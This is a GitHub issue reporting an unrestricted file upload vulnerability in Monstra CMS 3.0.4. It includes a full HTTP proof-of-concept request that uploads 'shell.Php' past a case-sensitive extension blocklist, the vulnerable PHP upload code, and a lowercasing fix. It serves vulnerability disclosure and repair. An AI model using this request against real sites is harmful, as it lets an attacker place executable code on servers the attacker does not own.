monstra-cms / monstra

THIS PROJECT IS NOT SUPPORTED ANYMORE! Check FLEXTYPE.ORG
http://flextype.org
MIT License
396 stars 123 forks source link

Monstra 3.0.4 case without filtering leads to unrestricted file upload vulnerability #471

Open wuhuaviator opened 2 years ago

wuhuaviator commented 2 years ago

Brief of this vulnerability

The Monstra 3.0.4 source code does not filter the case of php, which leads to an unrestricted file upload vulnerability.

Test Environment

Apache/2.4.41 (Ubuntu20.04)
PHP 7.4.3

Affect version

<=3.0.4

POC

POST /monstra/admin/index.php?id=filesmanager&path=uploads/ HTTP/1.1
Host: localhost:80
Content-Length: 442
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://localhost:65003
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryD6KF8q8SlXAspgP7
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.117 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Referer: http://localhost:65003/monstra/admin/index.php?id=filesmanager&path=uploads/
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: PHPSESSID=nlofifites91aq2tsi1s520298
Connection: close

------WebKitFormBoundaryD6KF8q8SlXAspgP7
Content-Disposition: form-data; name="csrf"

8ff9a93b1f09f4dfa18e06c201b7355e602ea9ce
------WebKitFormBoundaryD6KF8q8SlXAspgP7
Content-Disposition: form-data; name="file"; filename="shell.Php"
Content-Type: text/plain

<?php echo "This is a test";?>
------WebKitFormBoundaryD6KF8q8SlXAspgP7
Content-Disposition: form-data; name="upload_file"

上传
------WebKitFormBoundaryD6KF8q8SlXAspgP7--

Execute successfully

Reason of This Vulnerability

$_FILES['file']['name'] in the Upload file module does not check whether the file extension is case,Vulnerability file:/plugins/box/filesmanager/filesmanager.admin.php

        // Upload file
        // -------------------------------------
        if (Request::post('upload_file')) {

            if (Security::check(Request::post('csrf'))) {

                $error = false;
                if ($_FILES['file']) {
                    if ( ! in_array(File::ext($_FILES['file']['name']), $forbidden_types)) {
                        $filepath = $files_path.Security::safeName(basename($_FILES['file']['name'], File::ext($_FILES['file']['name'])), null, false).'.'.File::ext($_FILES['file']['name']);
                        $uploaded = move_uploaded_file($_FILES['file']['tmp_name'], $filepath);
                        if ($uploaded !== false && is_file($filepath)) {
                            Notification::set('success', __('File was uploaded', 'filesmanager'));
                        } else {
                            $error = 'File was not uploaded';
                        }
                    } else {
                        $error = 'Forbidden file type';
                    }
                } else {
                    $error = 'File was not uploaded';
                }

                if ($error) {
                    Notification::set('error', __($error, 'filesmanager'));
                }

                if (Request::post('dragndrop')) {
                    Request::shutdown();
                } else {
                    Request::redirect($site_url.'/admin/index.php?id=filesmanager&path='.$path);
                }
            } else { die('Request was denied because it contained an invalid security token. Please refresh the page and try again.'); }
        }

Repair suggestions

Add case verification at $_FILES['file']['name'], as follows:

        // Upload file
        // -------------------------------------
        if (Request::post('upload_file')) {

            if (Security::check(Request::post('csrf'))) {

                $error = false;
                if ($_FILES['file']) {
                    $_FILES['file']['name']=strtolower($_FILES['file']['name']);  //Change uppercase to lowercase
                    if ( ! in_array(File::ext($_FILES['file']['name']), $forbidden_types)) {
                        $filepath = $files_path.Security::safeName(basename($_FILES['file']['name'], File::ext($_FILES['file']['name'])), null, false).'.'.File::ext($_FILES['file']['name']);
                        $uploaded = move_uploaded_file($_FILES['file']['tmp_name'], $filepath);
                        if ($uploaded !== false && is_file($filepath)) {
                            Notification::set('success', __('File was uploaded', 'filesmanager'));
                        } else {
                            $error = 'File was not uploaded';
                        }
                    } else {
                        $error = 'Forbidden file type';
                    }
                } else {
                    $error = 'File was not uploaded';
                }

                if ($error) {
                    Notification::set('error', __($error, 'filesmanager'));
                }

                if (Request::post('dragndrop')) {
                    Request::shutdown();
                } else {
                    Request::redirect($site_url.'/admin/index.php?id=filesmanager&path='.$path);
                }
            } else { die('Request was denied because it contained an invalid security token. Please refresh the page and try again.'); }
        }